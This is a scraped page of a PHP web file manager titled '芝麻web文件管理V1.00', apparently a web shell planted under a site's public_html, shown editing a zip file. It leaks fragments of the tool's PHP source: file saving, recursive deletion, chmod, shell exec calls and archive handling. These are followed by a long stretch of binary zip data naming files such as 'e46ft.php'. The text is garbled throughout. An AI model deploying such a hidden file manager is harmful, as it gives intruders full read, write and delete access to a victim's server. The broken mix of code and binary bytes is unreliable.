芝麻web文件管理V1.00

编辑当前文件:/home/gettoplisting/public_html/-20251107130650/4ermtb/lwycpd.zip

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'insertion
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKf[~KX77 e46ft.phpnu[PKIperror_log.tar.gz000064400000001034151032722660007667 0ustar00Oo0{iHR_WU!U9Wc34>ҤBi ^=2m,J]qXpt-uBnVRdUF.^鍂=Nr1,. $ɳu0g8(>$uPB::f< ?[2ܘ dJ,>ށ\k'2NQ9_ s`+鋬q6;sB+ a]֟R(/9;xs)+͒?0||2qҹR Dpej,7OQ+xn?[1 n`ŬT\E_V(X3/N]s3U\-s`[c%W.u7CF=ݢt|~#Nh4˰5N~OeDNixF_)w_1ڿ5(>h\`0:+pF`=1cJNz2:lt MPWFzatFwSҕv@{>hwd%.>?5 2dHx~=PK8f[Ѣ oy5mbk.tar.gznu[KI+(`03 `hj`hjh`ldflbd7363W0࠴$h%=!4'ZA%VI:3MC15RC%>5(5(Z#$$ ?8D)VSNVA)((>'?v2sJSR52 Kr 2!.*JvQ0 F(pĻ PK8f[ pk14de.tar.gznu[ dYW\@EttgDFxffeUgeFvUw2n'2*^̬SQ"r(WD0yDG_]}""3;+#ُ^{^krw~n yb<|*9|J3r!_t[|>j"j4>|A={˃~;w;˹c{˃R_>8S+Uyn~B?Y%?~>|/w 1k/+q/_p /C_>W|73V/s_i:jR|= {_׿_*ޛkWhx}Pkoo>ʙ)gKv[o|k;k7kF/.+s~w[-ßm/?GK?jߗ<g>=EG`P n5{1κy䋫[unܺr˹M<&=/t^v?zC7Y4׽a]{52`;LJ׹F '''PFczx0Z{{~oqiyPNx{UU+g3GcQYz\lg?5?yF]|9{ģvjgݝ~Fwft8y/f:_^RλOrFftjg}\=bmf4ݝ{F#} f_Y-֌shȌ ݹg;*l4Ӛuwu*2ӚuwuAт jfݝoF}81'9:)JH7UZxZj);':@NestwujΧ]s(wS >5z9>3[*==ݝoF}@fT1LOzFOݹg4sFQ_yv. MNl53sZvkn dI~oU3m_?㏳wwbF]a'wwu?NKn)JF3錾ס/~31+/ʅ㿞+g=?{Іg?avsȊgMq&uĭW>icg ķ^Ŀ]bS'haS|?h j)+‡)|u{7g> {kgx\[yaNe7Pl'Icmt9xxccNkk),BLV|Zj1TJ ߫J+AV)W R]AnkAX.[A9_u:+Vv7ӒJP "t%mA}j ?ەMB@3@U.wbJ7=XAAEO@P]d`QnT)fX*3.Q- J!`t[PQ`'8Wv˕^J<_er%SV*@y#[cD `0U"z4BxP)a*Vq+xZe YK0<+j9 *AR0JJ o!+НC W QVX1_L*Rq3AbK*ZIF^eqp@_ukӺ5"4bGdQ7h&as2*"NJb0_Q(p @82.Φ떷!A*h6A X-*BbA@m՘y@-K.SPi'"aI`E#,u&V5\ ցw RFMhlϤ A 4{ rgDn%7<%=mAA}0[ Jۥ:JЗN7)(!Gex**'G5{ld^lQ+r':TE[jȃ4dY8se8V9`*$O"p-+nW B3nP~KZ!=ROU5YF/@$%H+ H.԰M5ľLˍV;2àbj^/K%h[VYn[7-ۡzlVSP5RN^" 6P 2f50d?U%e a%ab+-bp Z$DI2^IBPY2gW(he؛\$bƤˮѶPs<ofP)"o#) MS.C="i,Xn=,"ƕ:Ta$*ʏ/ *((eXU!SǾѺ&V0U` +q1JB"aG2 2T.!`'m"TՖ؅$4]!kL,TRg]du*!]hai Gp[AtcD4娎آ%*vXnH]!C.VS LPh0PaRQ%EYcW0 ] |%uX5IL6܉iD|+<^,>&*[™B\2|0+Cũ ׊V P:яz7 '*R%x&hp&J— U;B ܤ'*r>/V-0@cmm/'O}a x0aѾˉ-j͕h oV.X8z@N=RZpYE=E. tK7nl,vYxCNJ&+.wy5$+(4lW 8V94LJG~≎rtL2ȗ h7`i-4"cYW9x8NTEyh.Rԡ*YR‘fA1nr||rQ ap#g@ 3vC0+<:]6b:"=E# Ld7䉊u4X)bi?mRFN}9E eLO1Dkg&ǦS\ ZRIW.I;lr˨WqpV1db#/KUf%AdV:v N/L6i:s.|GšVUb Oma 25ȂeJ&Mqg;mP(Q>q?BN4TJ n\:#CEG &ߖ 8!NFX h 6;qAIO1bBܣ4KdP?ZRFѾx} e3T%i?`ҩthEp[ZɊZt9_#!2<7P#r`VI=׳9bp#BvRdXa^JOu>+|,b! <kB8opynjџkȁEZ =5O#L. Ihg N(=`$E 0243`+qPr_BEI35}Vy!a8H ̀-0lR8?f4UV%!'Bͺ;YC7F۹a QsF%ħޠBD5햼W1*IrGU5@Saa@XM*g1bP!%L&O҅40d]fצ؀v#([l#*Gb_@V#戼EREiS (Ğ@ n=Rp'ā-?FVW8k ,N9I>E7x@;2%yQ8_g*`Y^] )D " /kw }/5%wJ֌}zd {*-L2WrhNpwbka *0@u| lᥢ٤l]:C\K3)o6Hr%<>f֐{d_*c .ib. x'a#꫸qH k-0.DNp5QX1hW] I`ݑU:[|JS:I0sfm<&@K pcUg {Jm*HȒB&=uK1A{`Dfwyo3HOdžZ T̓,lDeܴmv;/6Wda&6:].<h,:†`ُ Rp֏M 6 )PKM<#U"0zeSgMJ2DEtsaE(iBG!۬8&՜옟YRQA<\3nj9HBdP yR$ٍwZ‡[bkJggUԕ ^xdXWE̕aqB h -q#䴙~DڭpXѺ2 Cj&yʮ%˜:-F/P0C7BU,ܽtGzÊptE,Y*%6g) *P'Ѩ'z`sE h$- ++C0zZR\$&L*J-q\޲j:S!YhK ѝH&لóp{WFKD IMPNk,-~@7 YMMq*69X͕{مMYa ~,2ĸܲ9E*=5*@t=uULi,ˆ@ǀw/tCKZV=H)YE314`"52MSv#(\õǂ0Z2i5"E 8Y7q#v#wFf6tVh֣@X}}A˨-<E[T{KmFf@\fgCU0b٘$ sIV(6-"xjHJ.s8fC.!*Ԧb ,B $AռFѡF-H)vowxMuv@evNnLbA6(Fk M+]{ V[b( %-B,[3F$iiH{`s蓬QiqZԱ=rfk TB`xnzFb4qS_fqo J6YSВ/uOfD-%x'2A.^mTd(D ePtX9\*.žq/t; &:#8: r8U.Pq0pL4˥-jUiCdWm8!.-f8d"rGe k,nR_ Rm㎄:JuC(́ɇɦg:kc|^Jj -Kirr tEz򘂻XdЦ`}M_Ƽ@*|\1ȖI]=8se#: `,7)ė-R 7殘u+BD!B .pOd.k%|T1e*a$U),]ĖHM**DL \-K?DlD~I$(qt b5G)v2 ݽEԈ1:v<:2bgpڂ%efNW+y!Š$ơm.D%|F-r LS,(- 